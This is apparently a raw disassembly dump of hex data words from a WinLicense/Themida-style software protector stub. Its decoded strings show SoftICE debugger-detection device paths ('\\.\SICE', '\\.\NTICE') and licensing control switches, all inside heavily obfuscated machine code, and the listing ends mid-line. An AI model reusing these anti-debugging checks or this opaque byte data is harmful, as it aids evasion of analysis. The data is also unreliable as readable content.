70001900h dd 0B4882A02h, 843E936h, 0C0680000h, 0E9060997h, 0FFFDE68Bh dd 9982F68h, 0E681E906h, 3368FFFDh, 0E9060999h, 0FFFDE677h dd 99A7F68h, 0E66DE906h, 0EB68FFFDh, 0E906099Ah, 0FFFDE663h dd 99C1D68h, 0E659E906h, 8768FFFDh, 0E906099Ch, 0FFFDE64Fh dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h dd 9A5B1384h, 39475E43h, 0E0CA6390h, 81C33E14h, 0C26B01F9h dd 18CD2D90h, 3D47152Dh, 725CF59Ch, 3AD27C6Ah, 0BA8D47A2h dd 90BC6533h, 0FFC50BF5h, 919BE63Dh, 8D7B1109h, 67C107B3h dd 0AB54FBCEh, 0A7952B23h, 61B9FE5Bh, 10B94F22h, 2B045E0h dd 0A18B2659h, 0FFD570A0h, 179B60C5h, 0CAF576A5h, 6C000006h dd 6E15AA3Bh, 670EA342h, 62099E39h, 5E059A33h, 6A059A2Bh dd 0D1649752h, 0CD68953Ch, 0C45F9138h, 0BD58882Fh, 0FFED5B28h dd 439A5B8Eh, 2CF0C2D9h, 19C269FCh, 8233D191h, 0F4CD5293h dd 0ACB40DBh, 2A34485h, 0E113BC6Ch, 1C069F46h, 9B7DD5D6h dd 972D0047h, 9429BCEEh, 0A3ABBEDh, 9C23CA6Bh, 0CF03D96Ch dd 0B3FA61D0h, 65B0384h, 0CCFD0000h, 0D1FDA439h, 0CCFAA136h dd 0C6F59C31h, 0BCEF962Bh, 0E1F99429h, 0CD62F326h, 0C75CF926h dd 0BE53EE20h, 0BB50E717h, 219280EEh, 6C439A5Ah, 0FC2C8355h dd 8B34C269h, 0D6D7C15Ch, 85680FA6h, 0F9DCE22Ch, 0E319AEBBh dd 4Dh, 69FC2C47h, 887626D4h, 49A3F217h, 0AB3EC762h, 78A448D0h dd 2521EDD7h, 9047C8A2h, 1E08DE18h, 0A39B6BD8h, 0E87FAF49h dd 0A028A53h, 0BBB58674h, 0AD8047A2h, 0A93C6E17h, 0A83B6D14h dd 0B23B6912h, 0A047E885h, 83041D07h, 5C5h, 7BFC2CF9h dd 750BAC4Bh, 5C039ECCh, 17C0D9C3h, 7E01978Fh, 88D59971h dd 0C0C8B244h, 44238D10h, 0B1B72816h, 2F0249A3h, 0F3909BC6h dd 79D1C309h, 491C47A2h, 4ADD0DB4h, 6C64ECB5h, 0E2F0E8D6h dd 34074194h, 42C3F59Eh, 0BAE97815h, 3EDF781Fh, 39CCFFA8h dd 80FF992h, 0ED942F61h, 82B13666h, 427046E7h, 78F07A75h dd 557C849h, 0C8F90000h, 0C5F1982Dh, 0C0EE952Ah, 0BAE99025h dd 0B0E38A1Fh, 0CDE58015h, 0B146DF12h, 0AB40DD0Ah, 0AA3FD204h dd 9F34D303h, 57664D2h, 50439A59h, 0FC2C6739h, 7AE497Bh dd 9826CD6Eh, 0F289FAE8h, 9BCD49A3h, 40C86108h, 5282836Dh dd 0D0290CB3h, 0F0D09346h, 508049A3h, 17574CB5h, 6F1CC7F7h dd 45EFE7CEh, 2ED719AFh, 85796302h, 0FFFFFEEFh, 69FC2CE9h dd 999119C2h, 0D9431503h, 7D0047A2h, 651CFB3Ah, 72F8E52Eh dd 84340C5Ah, 2CFFF9E3h, 4E46CE97h, 0DBD0CAB8h, 18EB419Bh dd 0AB37A571h, 4D7B3D95h, 56840BB2h, 988614BBh, 3D95AB27h dd 2DE69F72h, 9A7D23E3h, 38B4A8Ch, 0A45125BDh, 0B5000001h dd 199CC33Eh, 2A324E38h, 496C56AAh, 8333C9C1h, 2812ABDAh dd 0A26638E2h, 8A20F347h, 3D2E4907h, 9C86C55Ch, 0F452D5A3h dd 468D5411h, 0FD51B05h, 0A19BE6C7h, 78013319h, 6F08AF4Ah dd 71A027CEh, 0F79831D8h, 0E917C056h, 6E5C644Eh, 67C19094h dd 0C346DCAFh, 1411F785h, 0FB14FE00h, 3CD2CA52h, 0BA8A024Eh dd 60F6C961h, 5951C2B0h, 0C99C5DB4h, 0FE2ED7DFh, 0FC28D167h dd 0C9707761h, 9C28FE99h, 3E1784DCh, 40B8E0Fh, 7CAD0000h dd 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh, 91A944D9h dd 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h, 0D142309Eh dd 1C439A58h, 820A3305h, 5D06F48Ah, 18479C7Ch, 0F78D2857h dd 9A5B9809h, 6F10E343h, 75FE30D9h, 790EAF42h, 5E05A0D2h dd 0F022A7D7h, 5B017260h, 794C439Ah, 4F6137D8h, 7BFA62D2h dd 39FCB4Ch, 10410000h, 0D39E075h, 836DD72h, 231D86Dh dd 0F82BD267h, 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch dd 0E77C1B4Bh, 4DBEAC1Ah, 98439A58h, 0A225AF81h, 7E180830h dd 0CBCCB68Bh, 8871349Bh, 87F08FBBh, 0AA4B6303h, 0D7C57503h dd 49A3D866h, 23BEF0B1h, 5842E37Ch, 0E9902757h, 7063AD06h dd 49A3D6ADh, 0DC72644Bh, 386C19AEh, 0D0FFFFFDh, 0C269FC2Ch dd 3999119h, 44B5A353h, 8F49A3F2h, 6405A0CEh, 37A347Ah dd 570747A3h, 3EE580AEh, 0D260D1A5h, 0D8AB439Ch, 3E2CF4EEh dd 439CD2CDh, 0FA44518h, 52C3B161h, 9D439CD2h, 3E14E0CAh dd 5F3A3BEh, 49A3F294h, 4D7D0CDFh, 25ADD0BAh, 0FFA9972Dh dd 0BA47A2F8h, 0B2CE51E7h, 50121607h, 0F1B14FEh, 0EBABEFBCh dd 942A22AAh, 321CBBEBh, 4A623C2Ah, 0C66F9984h, 0BD56FD98h dd 7006D9D3h, 55FC9BC7h, 4A68D9C7h, 0E0B3957Eh, 933C553Fh dd 0CD7D130Bh, 0B85FF224h, 0A3EF351Fh, 6A937D41h, 0A1510197h dd 771142B3h, 0D0BA8D8Fh, 73089FCFh, 53EE1CC5h, 9D386869h dd 47A44BC7h, 0FF80AF46h, 26Dh, 0B247DE0Fh, 0AB40DF0Bh dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 9A562B9Ch, 8D5F7643h dd 0B44D7C25h, 391FA7CAh, 2CC56C07h, 6807F58Bh, 0F479C7Ch dd 0CBFDA63Ch, 5E8D1A4Ah, 0E2831CC3h, 6C01A23Bh, 0E61293C5h dd 78FFA647h, 0B1D7AD48h, 9FA62D2h, 20359DAh, 74A50000h dd 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h, 89A13CD1h dd 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh, 0C93A2896h dd 14439A56h, 0A2252BFDh, 574D9D09h, 0AA5D18Ah, 0D45C7F69h dd 0B95846DCh, 60479B80h, 1E4EF78Dh, 9444F287h, 996035A6h dd 0C3AD8043h, 8F2519A0h, 99603AA1h, 83B07143h, 9AA43EAh dd 0DA8DB62h, 0A3DCE66h, 838E177h, 432DC66Dh, 0F8EC733Ch dd 792FB262h, 0DE55DD1Ch, 9C78E9BDh, 8EBC4399h, 2BB34CF3h dd 0B6666E58h, 2858E10Dh, 0AC4DE68Dh, 3C826C05h, 43999CD3h dd 0D943B0Eh, 0F66755DDh, 4143999Bh, 8737CD6Eh, 999C2899h dd 11A07343h, 8A148E3h, 0DC6D051Eh, 0DD8419ACh, 0FE731AADh dd 0FD4BD647h, 0EF842353h, 0E77D1848h, 0E8F46864h, 846EF526h dd 20B1E46Bh, 16B1E18Ah dd 0D3ECD66Fh, 0E613BC22h, 34025D47h, 902D5A03h, 0E275A5A6h dd 0E273A64Dh, 0C7F39C4Ch, 86E35428h, 5B2E4399h, 62E35871h dd 38E630BBh, 18897705h, 63439986h, 0AC5AEF90h, 0A938D703h dd 0F0F1DB76h, 0F67D24BDh, 0F29B31C4h, 12755BC2h, 0CD82A5F1h dd 0BE29422Ch, 4A7DAB75h, 4A7821B7h, 10BEC5AFh, 0B19B3A67h dd 3EE580B0h, 8C114372h, 48D61FFBh, 944FAEDEh, 998B3AC3h dd 2D684FBh, 0A94A8416h, 0D4C27208h, 8B24F563h, 0EAF1DBAEh dd 0CD741343h, 0DB821346h, 85BA8417h, 0F576E7D5h, 0EEC18B24h dd 34D30304h, 2DC8F89Fh, 5D55DD86h, 0D367D9C7h, 0DFB28923h dd 1F9814Ah, 5CAE7D6Bh, 0A2758316h, 0E94474FBh, 34D3CB73h dd 34C96A27h, 34CA5D8Dh, 0C3E863B1h, 957F144Fh, 8DCAB07Ch dd 2EC1AEB9h, 6F0636E0h, 6FFD30D9h, 576D1081h, 0E7885B4Eh dd 1F4FF6FDh, 2B5AE188h, 3780EB92h, 0F3B538E9h, 299A53A6h dd 81DB9B04h, 5978F58Bh, 0A73E6E6Fh, 9C3B6B12h, 374F5h dd 5EEA0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah dd 89506711h, 405E0h, 42D0000h, 87000000h, 895C2404h, 0BE682414h dd 8900004Dh, 9568242Ch, 89000041h, 0BB53243Ch, 5E5831h dd 0EB81434Bh, 601D02EEh, 0C381D3F7h, 0A64AEC79h, 815B5D53h dd 4ECh, 24248900h, 4240481h, 5F000000h, 584D68h, 24048900h dd 8B8h, 89F80100h, 34FF5828h, 0C4835F24h, 242C8B04h, 81E38953h dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFDDE53h, 9EAFB8DFh dd 0C5030609h, 0C424E0FFh, 2273FBFh, 0E7A96CC4h, 44D0599Eh dd 2C8528BFh, 0ED4511CFh, 0F71F368Ch, 33051128h, 71591F1Dh dd 238728B4h, 0F617C27h, 0B00C3160h, 0EC3162DBh, 75595FE0h dd 0AF0B3AD8h, 3B41114Ch, 0E8B43B7Fh, 5D01B87h, 0CF663DAEh dd 78D32EF1h, 33E12398h, 0CEF23EF9h, 0F33C0933h, 88E55942h dd 0E62E4768h, 383B7D40h, 72E96BCFh, 60000000h, 19E9BD83h dd 0F000607h, 584h, 5DE900h, 6A0000h, 0F303E80h, 885h dd 46006A00h, 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h dd 3E800000h, 8850F34h, 6A000000h, 13E94630h, 80000000h dd 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah, 6071431h, 24048950h dd 6A965096h, 8195FF00h, 61060705h, 0CD85C6C3h, 4D060709h dd 4E8h, 3576A800h, 448B50A4h, 8B0424h, 4244489h, 85B5FF58h dd 8D060710h, 7396385h, 89D0FF06h, 7058185h, 5C1EEB06h dd 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h, 5C004449h dd 4E5C2E5Ch, 45434954h, 6AC08B00h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B553C357h dd 0E771AC9h, 3299BD8Bh, 0BD830607h, 6071ACDh, 83097500h dd 71135BDh, 19740006h, 0C08B5350h, 40FB8h, 7D858900h dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h dd 40FB8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0F5950158h dd 0F060711h, 68Bh, 25958B00h, 80060714h, 0C08B86C6h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1CC35343h, 9999BA9Ch dd 0EE87BE7h, 5000000h, 0A0B182B3h, 0BE5334CBh, 4BE0D912h dd 0C65AFCA7h, 709CD85h, 850F4306h, 1Ah, 13E952h, 9E830000h dd 476ADED6h, 8EB0D893h, 79A4CE83h, 0A7ED9255h, 49685F09h dd 60A66CE0h, 2830Fh, 0F98B0000h, 14E8h, 80CE4700h, 0A4742D13h dd 0D1F4377Fh, 30BD0F77h, 6FA4A4CBh, 0F28B666Dh, 481615Fh dd 218EB324h, 53006A16h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0DE86094h, 1B000000h, 268C4EE8h dd 1DC3CC88h, 0AACFC89Eh, 0B44CBF66h, 8D0F615Bh, 6, 5D58D8Bh dd 0B5FF0607h, 607059Dh, 858D2CB2h, 6073963h, 6810Fh, 8D890000h dd 60720CDh, 0E850D0FFh, 9, 9EFC431Ch, 0C999119h, 0BE8C9h dd 13040000h, 0CAFFEA51h, 4A66C989h, 870BBA0Ch, 5F595F29h dd 0E9240489h, 14h, 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh dd 86C1DA45h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 3A64E2C3h, 8EAD088h, 184A3D1h, 710E59Dh dd 0E1816606h, 4E819EAh, 80000000h, 50000000h, 5E8h, 721D8F00h dd 8B5F3C91h, 50042444h, 0F595652h, 0BCE6BA31h, 585A7940h dd 870F008Bh, 0 dd 4244489h, 93F4E3BEh, 0E0BA5832h, 606868FCh, 7E8h, 6ED72700h dd 7B7E93ADh, 8E8h, 3686E800h, 117C2D4Bh, 0E85E5854h, 0Ah dd 778B887Bh, 0A4B60819h, 61581361h, 8D89036Ah, 6072C89h dd 0B52006Ah, 7085DBDh, 36A5906h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0D8C35343h, 51C3E0A1h, 141CDE81h dd 2E684DE6h, 66509F5Ch, 812538BEh, 0A3D22404h, 5E96F60h dd 80000000h, 0A50460F5h, 0A04C9D8Dh, 8E80609h, 0D2000000h dd 0D5F975E2h, 5A83FA23h, 0F93D1B2h, 238Bh, 0AE800h, 0F2EC0000h dd 9537D659h, 254A6968h, 0DE8h, 5EFD2200h, 0D5EB24B1h dd 761FE0EDh, 5A5ACACAh, 50605250h, 5A310F52h, 13E958h dd 0EEAB0000h, 19ED44EFh, 572F3DC6h, 260F9A18h, 7538DCD9h dd 93596147h, 6860Fh, 0B5030000h, 6071911h, 6AD0FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0CEA78CC3h, 40FD0EA0h, 2AC850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 748509C3h dd 1DC18D89h, 0BD8B0607h, 6072605h, 0D3B70F58h, 895A5150h dd 958B2404h, 60704F5h, 8B66006Ah, 4E8D1h, 800000h, 0F500000h dd 48Bh, 0ABBA6600h, 24448BA9h, 6E904h, 0B1BA0000h, 17AE88C8h dd 0D08B008Bh, 4244489h, 50505250h, 5A310F52h, 310F5A58h dd 8B58585Ah, 89036ACFh, 7078D8Dh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 361AC357h, 5F6C5A77h, 6A552D1Ah, 91B58B03h, 6806072Ah dd 6B5B3002h, 481CE8Bh, 0A4CFFE24h, 0DFB96654h, 0CA816612h dd 9D8D1845h, 609A055h, 68B0Fh, 0BD8B0000h, 6071A11h, 0ADDCBE50h dd 1C895367h, 66D0FF24h, 2AE9E781h, 0BB850F40h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0E811C356h, 13h, 0D7B8ECDBh, 47783D39h, 0E19FEA71h dd 0F8092D86h, 8B47CAA5h, 89585FF0h, 712E9B5h, 0CBE5006h dd 89623519h, 6A2404h, 4E8h, 8000h, 52505000h, 13880Fh dd 0DE80000h, 0E4000000h, 0A86946BAh, 0B29A3A4h, 0C93DD0F1h dd 50310F5Fh, 60310F52h, 5A585A61h, 24448B58h, 8BC88B04h dd 8E800h, 6760000h, 2E281F6h, 5A50FC7Ch, 2444895Eh, 58CA8B04h dd 549BD8Bh, 36A0607h, 0DE8h, 0C64D7600h, 0D92A41A9h, 2BF620C8h dd 5EF9B070h, 12E9h, 0ABD14000h, 6AA2567Bh, 26198D93h dd 0E1FFA733h, 6A409266h, 66606000h, 0E671D381h, 0F58D2961h dd 61060701h, 0B58B036Ah, 607139Dh, 4E8h, 0 dd 890F60C0h, 5, 7ECD2FBBh, 6E861h, 197E0000h, 5004EDB1h dd 0C23FB966h, 0E850615Fh, 0Ah, 0E91BF726h, 90E7BF25h dd 12E9F708h, 7D000000h, 0C2EE143Dh, 38E39645h, 0E1405D22h dd 11126661h, 448B5E92h, 0D7BF0424h, 8B29FD79h, 0F28B6600h dd 4244489h, 0D64B7B9h, 0FE95847h, 0E7000000h, 0DF445105h dd 0C7E93D30h, 0E7F65D6h, 9D8D2322h, 609A060h, 50C88B66h dd 0C0BB6660h, 5E9CEh, 7F700000h, 61837D63h, 66241C89h dd 0FF44ADB9h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 405EC1C2h, 14850Fh, 18B50000h dd 0B5952958h, 0E9060705h, 154h, 181D8D89h, 0D88B0607h dd 0FE8h, 35747C00h, 0DB1B7972h, 18800D1Bh, 0FDA8A84Dh dd 0CF8B4B5Ah, 20C98158h, 0C641B72Fh, 709CD85h, 0E8FC4306h dd 4, 0C0764AA7h, 0D78B6660h, 5E8h, 35A35000h, 8B66ACD7h dd 506159CAh, 11E960h, 0E3230000h, 576EE177h, 8328F0D1h dd 5B689740h, 0BAC7B721h, 1A92AF43h, 24448B61h, 0BB526004h dd 3B19230h, 14E95Eh, 44750000h, 3D2493B3h, 93487BF5h dd 795246Bh, 6BA4707Fh, 8B61E507h, 24448900h, 5897B604h dd 1CFB65BAh, 9DB5FF26h, 66060705h, 3E64F681h, 3963858Dh dd 0B5230607h, 607048Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 69AF18C3h, 0EFBF6693h dd 0E86050F9h, 10h, 0BA107242h, 6CEDA99Ah, 54CCCB98h, 0A1049C96h dd 0CE9h, 8EB3B100h, 0EB05E13Ch, 0D3131E94h, 6E85A3Ch dd 0B4000000h, 64359E40h, 5A5F5307h, 5E569361h, 6AD0FFF8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 9050C351h, 0ACEB7D3Bh, 6FE49D8Dh, 0CB8B0607h dd 1B8h, 10D68100h, 0FF0EA365h, 0E19529E3h, 0F8060728h dd 820FC18Bh, 6, 0A99D29h, 0C08B0607h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B4C35242h, 0A255890Eh, 0F7A4EC67h dd 59BD8B39h, 8306071Fh, 71ACDBDh, 9750006h, 1135BD83h dd 74000607h, 8B535019h, 40FB8C0h, 85890000h, 6072F81h dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h dd 40FB853h, 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h dd 8B66585Bh, 0BE9FBh, 249C0000h, 0A84B5B4h, 0E810B0DAh dd 0E9C08BEDh, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h dd 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 9A8E385h dd 0DF858D06h, 500609A8h, 0A849858Dh, 68500609h, 80000001h dd 0A8EF95FFh, 196A0609h, 0A8E3B5FFh, 16A0609h, 858D006Ah dd 609A878h, 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h dd 8589C306h, 609A8E3h, 0A8DF858Dh, 8D500609h, 9A84985h dd 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h dd 46A5006h, 858D006Ah, 609A8A2h, 0DFB5FF50h, 0FF0609A8h dd 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h dd 0FF0609A8h, 70C6995h, 8589C306h, 609A8E3h, 0A8DF858Dh dd 8D500609h, 9A84985h, 1685006h, 0FF800000h, 9A8EF95h dd 8D046A06h, 9A8E385h, 46A5006h, 858D006Ah, 609A88Ah dd 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 8589C306h dd 609A8E3h, 0A8DF858Dh, 8D500609h, 9A84985h, 1685006h dd 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h, 46A5006h dd 858D006Ah, 609A8B5h, 0DFB5FF50h, 0FF0609A8h, 708CD95h dd 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h dd 70C6995h, 8589C306h, 609A8E3h, 0A8DF858Dh, 8D500609h dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h dd 9A8E385h, 46A5006h, 858D006Ah, 609A865h, 0DFB5FF50h dd 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h dd 0DFB5FF06h, 0FF0609A8h, 70C6995h, 0BD83C306h, 6070455h dd 0B840F00h, 8B000000h, 704559Dh, 4CC38306h, 83C30389h dd 70455BDh, 840F0006h, 0Bh, 4559D8Bh, 0C3830607h, 0C3038950h dd 455BD83h, 0F000607h, 0B84h, 559D8B00h, 83060704h, 38954C3h dd 55BD83C3h, 60704h, 0B840Fh, 9D8B0000h, 6070455h, 8958C383h dd 0BD83C303h, 6070455h, 0B840F00h, 8B000000h, 704559Dh dd 5CC38306h, 0C3C30389h, 0E3858960h, 8D0609A8h, 9A8DF85h dd 858D5006h, 609A849h, 16850h, 95FF8000h, 609A8EFh, 858D046Ah dd 609A8E3h, 6A046A50h, 0DA858D00h, 500609A8h, 0A8DFB5FFh dd 95FF0609h, 60708CDh, 1ACDBD83h, 0F000607h, 0C84h, 0DFB5FF00h dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h dd 60C36106h, 0A8E38589h, 858D0609h, 609A8DFh, 49858D50h dd 500609A8h, 168h, 0EF95FF80h, 6A0609A8h, 0E3858D04h dd 500609A8h, 6A046Ah, 0A8BC858Dh, 0FF500609h, 9A8DFB5h dd 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h, 0Ch, 0A8DFB5FFh dd 95FF0609h, 609A8EBh, 0A8DFB5FFh, 95FF0609h, 6070C69h dd 8960C361h, 9A8E385h, 0DF858D06h, 500609A8h, 0A849858Dh dd 68500609h, 80000001h, 0A8EF95FFh, 46A0609h, 0A8E3858Dh dd 6A500609h, 8D006A04h, 9A8C385h, 0B5FF5006h, 609A8DFh dd 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h, 0FF000000h dd 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h, 6995FF06h dd 6106070Ch, 858960C3h, 609A8E3h, 0A8DF858Dh, 8D500609h dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h dd 9A8E385h, 46A5006h, 858D006Ah, 609A8CBh, 0DFB5FF50h dd 0FF0609A8h, 708CD95h, 0CDBD8306h, 6071Ah, 0C840Fh, 0B5FF0000h dd 609A8DFh, 0A8EB95FFh, 0B5FF0609h, 609A8DFh, 0C6995FFh dd 0C3610607h, 0E3858960h, 8D0609A8h, 9A8DF85h, 858D5006h dd 609A849h, 16850h, 95FF8000h, 609A8EFh, 858D046Ah, 609A8E3h dd 6A046A50h, 0D2858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h dd 60708CDh, 1ACDBD83h, 0F000607h, 0C84h, 0DFB5FF00h, 0FF0609A8h dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 60C36106h dd 0A8E385C7h, 10609h, 858D0000h, 609A8DFh, 49858D50h dd 500609A8h, 268h, 0EF95FF80h, 0B0609A8h, 0F840FC0h, 0C7000000h dd 9A8E385h, 6, 4DE900h, 46A0000h, 0A8E3858Dh, 6A500609h dd 8D006A04h, 9A85D85h, 0B5FF5006h, 609A8DFh, 8CD95FFh dd 0C00B0607h, 0F840Fh, 85C70000h, 609A8E3h, 0 dd 0AE9h, 0E385C700h, 10609A8h, 0FF000000h, 9A8DFB5h, 6995FF06h dd 6106070Ch, 0A8E3858Bh, 60C30609h, 0A8E38589h, 858D0609h dd 609A8DFh, 49858D50h, 500609A8h, 168h, 0EF95FF80h, 6A0609A8h dd 0E3858D04h, 500609A8h, 6A046Ah, 0A85D858Dh, 0FF500609h dd 9A8DFB5h, 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h dd 0Ch, 0A8DFB5FFh, 95FF0609h, 609A8EBh, 0A8DFB5FFh, 95FF0609h dd 6070C69h, 8960C361h, 9A8E385h, 0DF858D06h, 500609A8h dd 0A849858Dh, 68500609h, 80000001h, 0A8EF95FFh, 46A0609h dd 0A8E3858Dh, 6A500609h, 8D006A04h, 9A86F85h, 0B5FF5006h dd 609A8DFh, 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h dd 0FF000000h, 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h dd 6995FF06h, 6106070Ch, 0CD85C6C3h, 52060709h, 0E47B0768h dd 0E5B5FFADh, 0FF060729h, 72C9595h, 0EF858906h, 0C60609A8h dd 709CD85h, 0E5685206h, 0FF902E00h, 729E5B5h, 9595FF06h dd 8906072Ch, 9A8EB85h, 0CD85C606h, 52060709h, 0BF123568h dd 0E5B5FFB9h, 0FF060729h, 72C9595h, 0CD858906h, 0C6060708h dd 709CD85h, 34685206h, 0FF987810h, 729E5B5h, 9595FF06h dd 8906072Ch, 70C6985h, 0CD85C606h, 52060709h, 5DBD468h dd 0E5B5FFC0h, 0FF060729h, 72C9595h, 29858906h, 0E8060722h dd 13h, 0E5EBD435h, 478F0A23h, 5D4EF3Eh, 6E163460h, 0F0EFEFEh dd 487h, 61605100h, 0C6815E5Fh, 6585h, 11E951h, 2CD60000h dd 0E68870F3h, 0D2B3D5C9h, 0C494F932h, 5AA780A2h, 0BF66C92Bh dd 1C8B2327h, 0B860F0Eh, 0E9000000h, 6, 9FC2B851h, 0F3817A09h dd 7842D594h, 815ADC80h, 63E095F3h, 0FEBF0F23h, 6FB7F381h dd 0D7B6264Bh, 0F0E1C89h, 185h, 14E9F800h, 6D000000h, 7EF19121h dd 31990C49h, 8035D23Ch, 16D6C6B0h, 83C2F928h, 49F803E9h dd 58B5B253h, 9B2CF981h, 850FFFFFh, 0FFFFFF9Ah, 8E9h, 16A3DB00h dd 4554D1D3h, 0BE8C8h, 1BD0000h, 0F54F974Dh, 1DB01D15h dd 0CB8B66FDh, 15E3815Fh, 814401CDh, 6F4DC7h, 0BACFB000h dd 784EB208h, 0A9A5F281h, 0D181784Eh, 3DDAD543h, 8166378Bh dd 81EA82E1h, 2CB549C6h, 0EDF5800Fh, 89FDC681h, 0D1813CFCh dd 15C501A2h, 0A3B3C681h, 8B0F7E62h, 3, 89C88B66h, 0DFB70F37h dd 3600EF81h, 81FC0AEFh, 0EF35FCC7h, 52D9800Ah, 0F01EA83h dd 1485h, 20E9F800h, 22000000h, 0FF3692F4h, 0EE603FA6h dd 61BD4696h, 0E9DEB46Ah, 0FFFFFF9Ch, 610904C4h, 0FFBA0FFEh dd 0E9A24D1Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h dd 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 5BD8300h, 609B1h, 0A840Fh, 85C70000h, 6071135h, 1, 9CD85C6h dd 0E8470607h, 4, 906D6C8Dh, 24448B50h, 89008B04h, 58042444h dd 59DB5FFh, 858D0607h, 6073963h, 0D0FFD0FFh, 3F80F88Bh dd 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh dd 318840Fh, 80470000h, 840F003Fh, 30Eh, 1EE9h, 3F8000h dd 300840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h dd 80FFFFFFh, 850F003Fh, 5, 2DDE9h, 1E900h, 80470000h dd 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C0E900h, 0AE80000h dd 0E9000000h, 0FFFFFFCBh, 2B1E9h, 85B58D00h, 0E80609B0h dd 225h, 0B11ABD03h, 0BD830609h, 609B11Ah, 0B840F00h, 0C7000000h dd 71ACD85h, 106h, 0B58DC300h, 609B090h, 1FCE8h, 1ABD0300h dd 830609B1h, 9B11ABDh, 840F0006h, 0Bh, 113585C7h, 10607h dd 8DC30000h, 9B109B5h, 1D3E806h, 0BD030000h, 609B11Ah dd 0B11ABD83h, 0F000609h, 0B84h, 0E985C700h, 1060719h dd 0C3000000h, 0B09AB58Dh, 0AAE80609h, 3000001h, 9B11ABDh dd 